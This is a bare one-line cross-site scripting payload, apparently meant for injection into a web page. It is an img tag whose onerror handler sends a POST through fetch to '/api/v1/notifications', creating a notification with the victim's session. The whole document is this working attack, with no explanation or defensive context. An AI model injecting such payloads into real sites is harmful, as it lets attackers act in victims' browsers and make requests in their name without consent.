<img src=x onerror=fetch('/api/v1/notifications',{method:'POST',body:'{"title":"x","content":"test"}'})>